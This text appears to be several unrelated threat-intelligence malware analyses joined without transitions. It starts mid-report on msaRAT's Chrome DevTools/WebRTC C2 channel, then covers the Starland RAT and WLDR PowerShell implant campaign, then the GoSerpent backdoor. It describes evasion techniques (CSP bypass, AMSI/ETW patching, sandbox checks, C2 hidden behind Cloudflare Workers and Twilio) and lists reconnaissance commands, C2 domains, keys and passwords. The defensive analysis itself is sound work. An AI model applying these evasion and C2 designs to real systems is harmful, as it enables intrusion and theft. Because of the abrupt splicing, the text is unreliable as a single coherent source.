Upon successfully obtaining the browser path, the malware launches Chrome or Edge in headless mode via the CreateProcessW API. At launch, multiple flags listed in Table 2 are applied, enabling the CDP remote debugging port.

In response to this request, the browser returns a JSON array containing information about connectable targets (such as tabs). Each element in the response includes a webSocketDebuggerUrl field, and a CDP session is established by connecting to that URL via WebSocket. Over the established session, a Target.createTarget command is sent to create a new tab, followed by Page.enable and Runtime.enable to activate the JavaScript execution environment.

Inject JavaScript code

After establishing a CDP session over WebSocket, the malware first bypasses Content Security Policy (CSP) using the Page.setBypassCSP command. As shown in Figure 9, the command is referenced from the string blob via pointer and length, then issued as a CDP command.

Immediately after bypassing CSP with Page.setBypassCSP, the RAT issues Runtime.addBinding five consecutive times. Runtime.addBinding is a CDP feature that registers callbacks to notify both the browser's JavaScript and the CDP client (the RAT) of events. The binding names to be registered are stored in the string table within the binary. Through a loop, the names “msaOpen,” “msaClose,” “msaError,” “msaMessage,” and “dataAck” are referenced in order, and each entry is sent as a CDP command one at a time.

After registering each binding name, the RAT uses Runtime.evaluate — a CDP feature for executing JavaScript in the browser — to inject JavaScript code embedded in the .rdata section into the browser. The injected code is embedded in plaintext and consists of two functions.

The first function initializes the WebRTC channel. It is injected only once, at the time of the initial connection. This function establishes the foundation for communications with the C2. The following sections describe the processing performed by this JavaScript code.

WebRTC DataChannel establishment (using Cloudflare Workers for signaling) and data transfer

1. Retrieving Session Traversal Utilities for NAT (STUN) and Traversal Using Relays around NAT (TURN) server information

First, a GET request is sent to Cloudflare Workers (“is-01-ast[.]ols-img-12[.]workers[.]dev”) to retrieve the STUN/TURN server configuration required for WebRTC connection as JSON. If this fails, window.msaError() notifies the RAT and terminates.

Figure 13 shows the GET request and response between the browser and the server hosted on Cloudflare Workers infrastructure. Since the browser is launched in headless mode, the User-Agent is identified as HeadlessChrome. As for the Origin and Referer headers, the request is disguised as originating from Microsoft's official website in order to evade detection.

 The response body, as shown in Figure 14, returns WebRTC ICE server configuration containing STUN/TURN server information. The STUN server (“stun2.l.google.com”) is used to discover the external IP address of the infected host in order to traverse NAT, while the TURN server (“global.turn.twilio.com”) acts as a relay point when a direct Peer-to-Peer (P2P) connection cannot be established.

2. Creating the WebRTC PeerConnection and DataChannel

Using the retrieved server information, an RTCPeerConnection is created. The DataChannel name is assigned a random alphanumeric string of 5 to 20 characters generated by genStr(5, 20).

3. Connecting events to bindings

The callbacks previously registered via Runtime.addBinding are bound to their respective WebRTC events. When data is received from the C2 (onmessage), the binary data is converted to Base64 and passed to the RAT via window.msaMessage().

4. Interactive Connectivity Establishment (ICE) candidate gathering and SDP negotiation

For WebRTC communication to occur, both parties must first agree on which address to connect to and which format to use for communication. To that end, the malware generates a WebRTC SDP Offer (containing the communication parameters) and gathers ICE candidates to determine the optimal connection path. Once gathering is complete, the SDP Offer is POSTed to the C2 server, which returns an SDP Answer. Applying the C2 server's SDP via setRemoteDescription establishes the WebRTC DataChannnel connection. If ICE candidate gathering does not complete within five seconds, a timeout is triggered and it forcibly executes.

Figures 18 and 19 show the actual POST /token/v1/{UID} request and response. The response contains the attacker's SDP Answer, which includes no ICE candidates, with the connection address set to “0.0.0.0”. By intentionally omitting the ICE candidates that are normally present in standard WebRTC communications, P2P connections are prevented from being established, resulting in a design where all communications are always routed through TURN. By routing traffic through Twilio's legitimate service, the real IP address of the attacker's server never appears in the network traffic, and the dual-layer infrastructure combining Twilio with Cloudflare Workers makes it significantly difficult to trace the attacker's infrastructure.

5. Data conversion helper and random string generation

When sending data from the RAT to the browser, the CDP Runtime.evaluate can only pass strings. However, the actual data transmitted over the WebRTC DataChannel is binary data (ArrayBuffer). The function Base64ToArrayBuffer is responsible for handling this conversion.

6. Send queue and flow control

The WebRTC DataChannel has a send buffer, and continuously sending data can result in new data being dropped. To address this issue, the attacker has implemented a queue and flow control mechanism. Data is dequeued and sent when the buffer drops below 24KB. This design is likely intended to ensure reliable delivery of large payloads such as screenshots or file transfers to the C2.

The second function is dedicated to data transmission and is injected on demand via Runtime.evaluate each time the RAT sends a command to the C2 through the browser. The actual payload is embedded in place of {base64}.

After the RAT injects JavaScript via Runtime.evaluate, control of the main processing shifts to the browser. The RAT enters a waiting loop monitoring the CDP WebSocket, continuously listening for events from the browser. The establishment and disconnection of the WebRTC connection, as well as data reception, are all handled by JavaScript running within the browser. To relay the results of this processing back to the RAT, the registered bindings such as window.msaOpen() and window.msaMessage(base64Data) are called. Each time a binding is called, CDP emits a Runtime.bindingCalled event to the RAT over WebSocket. The JSON format of this event is as follows:

The params object contains two fields: name (a string indicating which binding was called) and payload (the argument passed from JavaScript). Based on the value of the name field, the RAT switches its subsequent behavior accordingly.

Communication encryption

By specification, the WebRTC DataChannel communication path is automatically protected by DTLS (transport-layer encryption), which is handled entirely by the browser and is independent of the RAT's code. Separately, msaRAT encrypts the data itself using a ChaCha-Poly1305-based encryption scheme before passing it to the browser, resulting in double-layer encryption. This design ensures that even if DTLS is stripped, an adversary-in-the-middle cannot read the contents. The ChaCha-Poly1305-based encryption key is derived through an ECDH key exchange performed at the time the C2 connection is established. When a Handshake frame (0xFE) is received from the C2 immediately after connection, the RAT receives the C2 server's public key, generates its own key pair, derives a shared key and then sends its own public key back to the C2.

C2 command processing

While a simple implementation would receive a command number and invoke the corresponding handler, this RAT employs a two-layer structure: an outer layer that manages connection state and an inner layer that processes frames. These are shown in Tables 4 and 5.

C2 communication flow

Figure 25 illustrates the communication flow between msaRAT, Cloudflare Workers, Twilio TURN, and the C2 server.

msaRAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint (“is-01-ast[.]ols-img-12[.]workers[.]dev”), but rather than making HTTP connections to this domain itself, it offloads that entirely to the browser. This endpoint is dedicated solely to signaling relay (SDP Offer/Answer exchange) for establishing a WebRTC connection; once the WebRTC connection is established, Cloudflare Workers drops out of the communication path entirely. All subsequent C2 commands are exchanged exclusively over the WebRTC DataChannel.

The likely rationale for choosing Cloudflare Workers as the signaling relay is that the destination is Cloudflare's infrastructure rather than an attacker-owned server, meaning the destination IP addresses fall within Cloudflare's CDN ranges and will pass through many firewall and proxy allowlists without inspection. Furthermore, “*.workers.dev” is a platform domain provided by Cloudflare for developers, and blocking it would broadly impact legitimate Cloudflare Workers deployments making it structurally difficult for defenders to block. In addition, as we mentioned, communications are double-encrypted.

As a result of this design, all network communication from the RAT process itself is limited to “127.0.0[.]1”, and all external communications are observed as originating from a legitimate browser process. Since browser-based WebRTC communication is commonplace even in enterprise environments, C2 traffic is effectively buried within normal web traffic from the perspective of firewalls and network monitoring tools.

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Downloader.ChaosRaas-10060321-0

The following SNORT® rules (SIDs) detect and block this threat: 

• Snort 2: 1:66840, 1:66841, 1:66839
• Snort 3: 1:301587, 1:66839

Indicators of compromise (IoCs)

The IOCs can also be found in our GitHub repository here.

• Cisco Talos is disclosing UAT-11795, a sophisticated, Russian-speaking, financially motivated adversary that has been conducting a malicious campaign targeting users in the U.S. and Europe since at least June 2025.  
• Talos has discovered that the actor in this campaign delivers a Python-based remote access tool (RAT) that we track as “Starland RAT” and a command-and-control (C2) memory implant known as the “WLDR agent.” 
• The WLDR agent is a sophisticated PowerShell-based C2 memory implant that features encrypted beaconing, task queuing, and a Runspace execution engine for executing additional payloads.  
• UAT-11795 also has CastleStealer and Remcos RAT as alternative payload implants in their arsenal. 
• The actor targets victims' credentials and cryptocurrency wallet assets, establishing a persistent connection to the victims' machines from the C2 server, with the potential to deliver and execute further payloads. 

Victimology 

According to the telemetry data, the infection is predominantly observed in the United States. There are also fewer potential impacts observed in Germany, Romania, and Venezuela, based on the assessment of the passive DNS resolution data of the C2 domains associated with this campaign. 

Talos has observed that the threat actor in this campaign has utilized trojanized installer lures from software categories including: 

Trojanized installer	Software name	Software category
MobaXterm_v26.1.exe	MobaXterm	SSH, remote desktop, and network administration terminal
WebEx_Client.exe and Zoom installer	Cisco WebEx and Zoom	enterprise video conferencing and collaboration platforms
dbeaver-ce-windows-x86_64.exe	DBeaverCommunity Edition	open-source database management and SQL client
FaceitInstaller_x64.exe	FACEIT	online gaming platform

The breadth of trojanized software across developer tooling, IT administration utilities, enterprise collaboration platforms, and a consumer gaming application suggests the actor is operating an opportunistic, volume-driven distribution model targeting multiple victim profiles simultaneously, rather than a single vertical. 

Threat actor infrastructure 

The threat actor in this campaign operates a distributed infrastructure across two functional categories, payload staging and persistent C2, with domain naming conventions chosen to blend into legitimate traffic categories. The staging domains, including “eorthopaedics[.]com” (likely a hijacked domain), “web-devtools[.]com” (resembles a developer tooling portal), and “zynaris[.]io” (resembles a technology start-up), with each domain serving a narrow functional role:  

• “eorthopaedics[.]com” and “sastoro[.]com” hosts the PowerShell stage chain under “/feed/” and “/alpha/” paths indicating that the actor has added the malicious routing alongside the legitimate contents. 
• “web-devtools[.]com” serves raw shellcode payloads under the paths (“/starlandfox”, “/x32remka”, “/dopfile”) and a compressed archive. 
• “zynaris[.]io” hosts the potential ClickFix-delivered HTML application (HTA) stager and trojanised installer lures. 

The C2 infrastructure is similarly distributed, with “eorthopaedics[.]com” and “sastoro[.]com” both serving hardware-bound unique identifier (HWID) encrypted envelopes over HWID parameterized URL paths with “eorthopaedics[.]com” under “/feed/” and “sastoro[.]com” under “/alpha/”. This suggests that the two domains represent parallel C2 infrastructure used for the same campaign. 

The domains “windowscreenrepairnearme[.]com” (which is also likely to be a hijacked domain) and “aipythondevs[.]com” serve as the primary C2 for the Starland Python RAT. All C2 URLs incorporate a victim hardware identifier derived from the C: drive volume serial number of the victim machine as the final URL path component, enabling the distinct C2 communication for each of the compromised victims. The actor in this campaign has also implemented C2 infrastructure resilience by using a Polygon smart contract (“0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba”), which stores an XOR-encrypted fallback C2 domain that is retrievable via a public JSON-RPC call.  

Talos discovered that the actor controls two Telegram bots, “8384531459” (“skuefq_bot”) and “7993597060” (“komandastuk_bot”), used for receiving the implant’s execution notification beacons, including messages with victim’s machine fingerprints and cryptocurrency wallet inventories. 

Talos’ research uncovered a private live Telegram channel called “stuk komanda”, controlled by the same threat actor. The stuk komanda channel was created on June 5, 2025, and has three unknown subscribers. It does not contain any chat groups and appears to be structured like a C2. The channel lists messages in the name of file names that appear to be Windows-based binaries, highlighting that the threat actor has been active since at least June 2025. 

Multi-stage attack summary 

The threat actor executed a multistage campaign that involves deploying a weaponized HTA downloader via Microsoft HTML Application Host (“mshta.exe”) on the victim's machine, likely utilizing a ClickFix technique. The execution of the HTA file results in the downloading and execution of trojanized installers bundled with a malicious Python package, which sends the implant status of the installer to an attacker-controlled Telegram bot. The NSIS script associated with the trojanized installer is designed to execute the malicious byte-compiled Python code encapsulated within the installer file. 

This initial byte-compiled Python code acts as a loader that decodes and executes an embedded Python RAT, which we are calling Starland RAT, in the victim's machine memory. Starland RAT offers a wide range of functionalities and has been specifically engineered to operate within the Windows environment. Its capabilities include defense evasion techniques, system reconnaissance, stealing browser data and cryptocurrency wallets, and a fallback C2 connection mechanism that includes a hardcoded C2 URL, as well as a Polygon Ethereum smart contract that serves as a backup. This connection allows it to interact with the smart contract through Eth_call, dynamically resolving the C2 domains. The RAT sends the reconnaissance information to the C2 to register the victim's machine and is proficient in receiving and executing intermediate payloads in several formats, including shellcode for 64-bit and 32-bit Windows environments, directly executing Windows shell commands, and downloading and executing malicious EXE, MSI, and DLL files. 

Talos has observed that the threat actor has distinct infection chains for each type of intermediate payload that Starland RAT receives from the C2. In the case of an x64 shellcode intermediate payload, it implants CastleStealer as the final payload. CastleStealer is a .NET stealer that targets credentials, cryptocurrency wallets, Telegram data, and other browser data from the victim's machine. Similarly, the x32 shellcode implants a variant of the Remcos RAT. 

Furthermore, Talos has observed that the threat actor executed a Windows shell command through Starland RAT as an intermediate payload to download and execute a PowerShell stager. This stager is associated with an undocumented PowerShell C2 framework, which we track as “WLDR C2” in alignment with the internal project designation used by the threat actor in the PowerShell scripts. The PowerShell stager is heavily obfuscated and is designed to decrypt an embedded next-stage PowerShell loader. The second-stage PowerShell loader script has capabilities for defense evasion, connects to the C2, downloads a JSON response, and processes this response to execute another embedded PowerShell payload, the WLDR agent, in the victim's machine memory. The WLDR agent is a bespoke PowerShell script that receives its C2 address through the PowerShell loader injected global variable at the time of execution. The WLDR agent employs capabilities including encrypted HTTP beaconing, comprehensive host reconnaissance, a robust reconnection protocol, and a modular task execution engine to further execute the malicious PowerShell scripts as directed by the threat actor from the WLDR C2 server. 

Initial vector 

The threat actor gains initial access to the victim machine potentially through a ClickFix social engineering technique that entices the user to execute a command, which then stealthily downloads and executes a remotely hosted weaponized HTA file. The HTA file runs an embedded VBScript that drops a Windows batch file into the user profile’s application temporary folder, which contains instructions to first download and implant a trojanized installer from the attacker-controlled staging domain onto the victim machine. 

Once the trojanized installer is executed, the batch file sends a notification beacon to an attacker-controlled Telegram bot, “8384531459”, to confirm successful execution to the threat actor. At the same time, the VBScript establishes persistence under “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” with the generic value “MyApp”, pointing back to “mshta.exe” to execute the remotely hosted weaponized HTA file every time the victim logs in to the machine. Talos identified a Russian-language developer comment left in the VBScript (“Добавление команды в автозапуск для текущего пользователя”), indicating that a Russian-speaking actor is conducting this campaign. 

Python loader packaged into trojanized installers 

Talos has observed that the threat actor in this campaign has weaponized software installers by utilizing the Nullsoft Scriptable Install System (NSIS). They have packaged the Python runtime executable “pythonw.exe” along with a compiled Python loader, which is disguised as a license file named “LICENSE.txt”. The threat actor has modified the NSI script file of the installer to include instructions for executing the compiled Python loader using the Python runtime executable.  

The compiled Python loader is a relatively large file obfuscated with numerous junk functions that perform random arithmetic operations and print randomly generated strings to the standard output. The actual execution logic is confined to six lines in the loader program, implementing XOR decryption using the XOR key 198 (0xC6) to decrypt the encrypted embedded payload of Starland RAT and execute it in the victim machine's memory.

Starland RAT, a Python-based RAT 

Starland is a Python-based remote access tool (RAT) with the capability to steal cryptocurrency. During its initial execution phase, the RAT resolves and declares all required Windows API function signatures through Python’s ctypes interfaces. It directly loads “kernel32.dll” using WinDLL and explicitly defines the argument types and return types for every Win32 call used later in execution, including VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, VirtualProtectEx, CreateProcessA, QueueUserAPC, and ResumeThread. Custom ctypes Structure subclasses are declared for SECURITY_ATTRIBUTES, STARTUPINFO, and PROCESS_INFORMATION, mirroring the definitions in the Windows SDK. This API mapping mechanism ensures that all injection and process manipulation calls later in execution are ready without further need for Windows API imports or dynamic resolution. 

Before any malicious logic executes, the RAT conducts check for anti-analysis environments. First, it compares the logged-on username of the victim machine against a hardcoded list of usernames, which includes known sandbox service accounts and aliases, including WDAGUtilityAccount. Next, the RAT verifies the victim's computer name against a list of hostnames from recognized sandbox environments, such as Cuckoo, Any.Run, Joe Sandbox, and Hybrid Analysis. If either check matches, the RAT's execution terminates immediately. Additionally, the RAT examines the Downloads folder for a Zone.Identifier alternate data stream on the trojanized installer file, confirming that the file was obtained via a browser download rather than being uploaded or copied directly. 

The RAT establishes persistence before any network communication with the C2 takes place. The primary mechanism involves creating a scheduled task using the PowerShell New-ScheduledTask command, with a randomized name following the pattern PythonLauncher-{3 random characters}. When executed with administrator privileges, the trigger is set to AtLogOn with RunLevel Highest, ensuring the elevated re-execution of the RAT at every user logon. Additionally, a secondary Startup folder LNK shortcut is created via the WScript.Shell COM object, placed in the user's Startup directory, targeting “pythonw.exe” with LICENSE.txt as its argument. If the RAT is not already running with elevated privileges, it also attempts UAC elevation via ShellExecuteW with the runasverb, aiming to upgrade the scheduled task to the higher-privilege logon before proceeding. 

It performs system reconnaissance, assembling the victim profile that includes the system hardware-bound unique identifier (HWID), total RAM size of the victim machine, and installed antivirus by executing the following commands: 

Get-CimInstance -Class Win32_ComputerSystemProduct.UUID  
wmic memorychip get Capacity   
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

The RAT also conducts Active Directory reconnaissance via the PowerShell command Get-WmiObject Win32_ComputerSystem.Domain. If the victim is identified as a member of Active Directory, the RAT executes the following commands to collect information about domain structure, domain controllers, and the victim’s domain privileges: 

whoami && systeminfo && net user {USERNAME} /dom && nltest /dclist

For workgroup-only hosts, it executes the whoami /all command. The reconnaissance data collected are staged by the RAT for inclusion during the victim machine registration to the primary C2 domain hardcoded in the RAT program. It also captures a screenshot of the victim machine's desktop, saves it as a PNG in the RAT’s working directory, generates a Base64-encoded string for the PNG file in memory, stages it alongside the reconnaissance data, and deletes the PNG file from the disk. 

Additionally, it gathers the victim’s cryptocurrency assets information by enumerating the desktop cryptocurrency wallets and browser extension wallets, checking for the presence of over 40 cryptocurrency wallets. The collected data is also staged alongside the reconnaissance data and the Base64-encoded screenshot (PNG) data. The RAT consolidates all collected data into a single JSON file, XOR encrypts it with the 5-byte key “helo1”, Base64-encodes it, and sends it to the primary C2 through an HTTP POST request using the HTTP user-Agent:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36.  

If the primary C2 registration fails, the RAT enables a blockchain-anchored fallback mechanism. An eth_call is triggered via JSON-RPC to the public Polygon RPC endpoint “polygon-rpc[.]com”, targeting the smart contract “0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba” and function selector “0xc659f3b8” for the latest block. The encrypted hexadecimal string that the RAT receives from the smart contract is XOR-decrypted with the key “$m7*rYpry3” to recover a fallback domain to which the RAT sends the victim machine registration request along with the reconnaissance and screenshot data. 

Before transmitting the reconnaissance information to the C2 for the victim's machine registration, the RAT sends a notification message to the attacker-controlled Telegram bot using hardcoded credentials. The message includes the victim's public IP address sourced from “api64.ipify[.]org”, the build name, region locale, computer name presented as a “Crew ID” field, OS platform and release, processor string, and the hardcoded label  
"Windows Defender” as the protection application indicator. If any Chrome cryptocurrency wallet extensions or desktop cold wallet applications were detected during the reconnaissance phase, they were also appended to the message of the Telegram bot, providing the threat actor with visibility into the victim profile and cryptocurrency assets before the actual registration of the victim machine to the C2. 

After the RAT registers the compromised machine with the C2, it sends a GET request to the C2 server every 50 – 60 seconds. It contains minimal JSON content with two randomly named junk fields and the bot's unique identifier, encoded using the same XOR key “helo1” and then Base64 encoded. The C2 server responds with one of the four commands supported by the RAT: 

Commands	Action
shellexecute	Runs an arbitrary shell string via “cmd /c” or PowerShell and returns the output to the C2 server through HTTP POST request.
x32	Receives a 32-bit shellcode URL and executes the shellcode that is staged using the asynchronous procedure call (APC), process injection technique.
x64	Receives a 64-bit shellcode URL and executes the shellcode that is staged using the asynchronous procedure call (APC), process injection technique.
download	Downloads the payload file to the “%TEMP%” folder and executes it by file extension, supporting EXE, MSI, DLL, and ZIP formats with appropriate execution methods.
HTTP 403 response	Triggers the self-deletion of the RAT file and exits its process, functioning as a kill switch.

Windows shell command deploys bespoke WLDR agent C2 implant 

In the current campaign investigation, Talos discovered that the threat actor executed a curl command to download and execute additional PowerShell script payloads of the WLDR C2 framework from another C2.  

WLDR stager 

The WLDR stager PowerShell script represents the initial stage, where it establishes a loop counter and two boolean flags for execution states. Each state creates a runtime alias for PowerShell command execution, resolving .NET Base64 and byte conversion types through an obfuscated string construction mechanism. It also defines an inline decryption routine that XOR decrypts the next stage, which is the embedded encrypted WLDR downloader PowerShell script, using a dynamically computed XOR key. 

WLDR downloader  

WLDR downloader is a compact HWID-bound loader script. Upon execution, it derives a hardware identifier from the victim’s C: drive volume serial number, converts it from hexadecimal to a decimal number, and appends it to two hardcoded C2 URLs for victim-specific payload delivery and a persistent agent task channel. It then issues an HTTP GET request to the C2, and the C2 server only responds to requests whose HWID matches a pre-registered value. The C2 server response is an encrypted JSON envelope containing fields with a Base64-encoded salt, initialization vector, encrypted data, and authentication tag. 

The WLDR loader processes the JSON response by decrypting the envelope through an inline decryption routine using a derived 64-byte key from a hardcoded plaintext password “odg5t8mvssvh” and the salt received from the C2 server in the JSON response. This is followed by the decryption of the encrypted data, which is the next stage of the WLDR agent PowerShell C2 memory implant. Before executing the WLDR agent, it writes the C2 URL and the plaintext password into the global PowerShell scope, making both available for the WLDR agent as its C2 address and session encryption key for all subsequent communication with the C2. 

Bespoke WLDR C2 agent implant 

The WLDR agent is a fully featured PowerShell remote access client that operates entirely in memory. It implements encrypted C2 communications, concurrent task execution through a managed Runspace engine, and a module delivery framework that provides the threat actor with interactive remote PowerShell execution capabilities on the victim's machine. 

Upon execution, the agent initializes the server's URL to a development placeholder and immediately checks for a globally scoped URL and session encryption password that were set by the WLDR loader script. If found, it overwrites the placeholder with the C2 URL and inherits the session encryption password, while also configuring other operational parameters, including polling interval, HTTP timeout, retry counts for the C2 reconnect cycle, and the number of threads for the Runspace pool. 

Before initiating the C2 connectivity, it implements a mutex “f2j398fj239d8j23dkkskskkkkkkkkk” to prevent duplicate instances and performs a dependency check on the inherited session encryption password. If the password is not found, the agent exits its execution. The network communication is encrypted using AES-256-CBC with HMAC-SHA256 in an encryption, then Message Authentication Code (MAC) construction, with session keys derived through PBKDF2-SHA256 over a randomly generated salt at 5,000 iterations. The protocol version tag WSv1 is bound to every MAC computation, with a new random initialization vector (IV) generated for each message. 

The agent performs reconnaissance via WMI queries, gathering information on antivirus products, network adapter configurations, OS version and build, domain membership, CPU, RAM, administrative privilege status, and UAC policy. A hardware identifier is primarily derived from the C: drive volume serial number; if that fails, it queries the machine's registry for the GUID or generates a checksum of the host name, which is appended to all C2 URLs. The initial connection to the C2 is established through an HTTP POST that includes the victim machine profile, the infection identifier, protocol version 2.0.0, and the cryptographic session parameters, with a connection retry timing set to 30 seconds. All subsequent traffic is sent to C2 over HTTPS, with headers designed to mimic a Chrome browser session in version 124. 

After establishing the initial connection with the C2, the agent polls the C2 server every 10 seconds. The response from the C2 server can include either commands or tasks, with the only hardcoded command in the agent being a kill instruction that triggers instance termination, while tasks are queued for execution. 

During our research, we observed that the initial response from the C2 was the idle polling interval response, which included empty fields in both the “commands” and “tasks” arrays. 

Further analysis of the agent program disclosed that the C2 responses to the polling will contain encrypted PowerShell commands or scripts, which are decrypted using the same hardcoded password and executed through one of the two runtime engines defined in the backdoor program.  

The primary agent execution engine is a PowerShell RunspacePool supporting up to 10 concurrent threads. Each PowerShell script payload delivered by the C2 is wrapped with details of execution context and parameters as in scope variables along with event handlers on the script’s execution result of output, error,and warnings. These event handlers registered on the output, error, and warning streams are triggered synchronously as the script execution output is produced, packaging results into stream messages and forwards them to the C2 in real time without waiting for the script execution completion.  

This message streaming capability makes the WLDR agent’s Runspace engine favorable for the interactive operations such as continuous monitoring where the command output reaches the threat actor incrementally, rather than after the completion of the script execution.  

If the Runspace engine fails to initialize the payload, PowerShell script execution defaults to standard PowerShell background jobs. It injects parameters and launches the script as a background job; however, unlike the Runspace path, it collects output only after the job completes, making it suitable only for short-lived batch tasks. 

Other payloads of Starland RAT campaign 

Talos has discovered that the threat actor possesses additional malware, including CastleStealer and Remcos RAT, which can be deployed as payloads to the victim's machine via the Starland RAT. To deliver these payloads, the threat actor utilizes a custom shellcode loader for both x64 and x32 machines, encapsulating the embedded encrypted binaries of the payloads. 

The shellcode loader resolves all required Windows APIs entirely at runtime by enumerating the list of loaded modules in the OS memory, iterating through each module's export directory, and comparing a hash of each function name against stored target values. The shellcode neutralizes both the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) through two sequential bypass mechanisms. The primary technique resolves the target functions AmsiScanBuffer in “amsi.dll” and EtwEventWrite in “ntdll.dll” using runtime hash-based API resolution, then overwrites their first bytes in memory with a patch that forces AMSI to always return a clean scan result and the ETW write function to return immediately without writing the output, effectively neutralizing both interfaces. If the primary patching technique fails, the shellcode executes a fallback mechanism where it calls VirtualProtect to temporarily change the target function's memory page protection value to read-write-execute and writes the same patch bytes directly, then restores the original page protection. 

Then, it decrypts the embedded encrypted payload blob and decompresses the decrypted data using LZX decompression into a newly allocated memory region. The payload is subsequently dispatched either by the reflective PE injection technique or by .NET CLR loading through the ICorRuntimeHost COM interface for .NET binaries, or through the PowerShell Runspace for PowerShell scripts. 

Talos discovered that the threat actor can deliver CastleStealer implant through the x64 shellcode and the Remcos RAT through the x32 shellcode variant.  

CastleStealer is a .NET-based infostealer and credential harvesting implant designed to systematically extract sensitive data from compromised Windows hosts. It incorporates several anti-analysis measures, including a Russian locale exclusion check and a hardcoded build expiry timestamp, ensuring it executes only against genuine targets within a defined operational window. Its credential theft surface is broad, targeting the full Chromium browser family and Firefox through direct SQLite database access, with decryption support for both legacy DPAPI-protected credentials and the AES-GCM application bound encryption scheme. Beyond browser data, it enumerates crypto wallet browser extensions, Discord and Telegram session files, Steam account credentials, and targeted filesystem paths, transmitting all collected material over a TCP socket to the attacker-controlled infrastructure. CastleStealer’s secondary payload delivery capability allows the actor to implant further payloads through process injection technique or PowerShell script execution.  

Remcos RAT (Remote Control and Surveillance) is a commercial remote access tool originally sold as a legitimate remote administration tool. However, it has been extensively abused by a wide range of threat actors since its emergence in 2016. It provides operators with comprehensive post-exploitation capabilitiesincluding real-time keylogging, screen and webcam capture, audio recording, file management, shell command execution, and clipboard monitoring all communicated over an encrypted channel to a configurable C2 server.  

Coverage 

The following ClamAV signature detects and blocks this threat: 

Txt.Downloader.Agent-10060312-0
Html.Downloader.Agent-10060313-0
Html.Downloader.Agent-10060314-0
Py.Loader.Agent-10060315-0
Py.Loader.Agent-10060316-0
Ps1.Trojan.Agent-10060317-0
Ps1.Trojan.Agent-10060318-0
Ps1.Trojan.WLDRAgent-10060319-0
Ps1.Downloader.Agent-10060320-0
Win.Trojan.CastleStealer-10060341-0
Win.Trojan.Starland_Installer-10060342-0
Win.Malware.Starland-10060343-0
Win.Malware.Remka-10060344-0

The following Snort Rules Snort 2 and Snort 3 (SIDs) to detect and block this threat: 66787 – 66790 and 301580  

IOCs

The IOCs for this threat are also available at our GitHub repository here. 

Introduction

In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.

During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote server. It was also used to deploy further malicious tools to collect sensitive data and dump credentials on the system.

Monitoring the activities of this threat actor revealed that in May 2026, they came back with an evolved set of malicious tools: a new RAT and proxy tool, Stowaway, which resembled the initial malware, as well as an additional stealthy tool to exfiltrate sensitive data collected in the previous few months through network shares.

We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.

What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.

In this article, we introduce the malicious tools uncovered by us, which have been used since late 2025.

Technical details

Initial phase of the attacks

The initial phase of the attacks involved deployment of the GoSerpent backdoor, followed by additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration, which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials to exfiltrate the collected data through network drives at a later stage. This was achieved through a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.

GoSerpent backdoor

The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.

This malware receives encrypted and base64-encoded command-line arguments containing a C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.

The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.

GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:

Command	Symbol (as derived from corresponding function names)	Description
2BA1	Sync	Respond to the server to show the infection is active
3BA2	Exit	Exit process
4BA3	Ls	Start listening on a port
5BA4	Connect	Connect to a remote server
6BA5	Hello	Create a shell on the infected machine
7BA6	Ul	Upload a file or directory to the server
8BA7	Dl	Download from the server
9BA8	Ss5	Start a SOCKS5 proxy on the infected machine
ABA9	Cl	Close a listening port
CBAB	RF	Forward to a connected node

GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools, including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.

McMx RAT

McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, apparently compiled from a different GitHub repository path.

Unlike the latest variant of GoSerpent, which uses encrypted command-line arguments, McMx receives input parameters from text files in plaintext format — in a way that resembles older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.

Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.

The tool shares core functionalities with GoSerpent, including:

• SOCKS5 proxying
• port forwarding
• file transfer
• remote shell capabilities

Data collection and credential dumping tools

Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.

ThumbcacheService

ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.

The targeted files are then archived using 7-Zip and protected with a predefined password @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
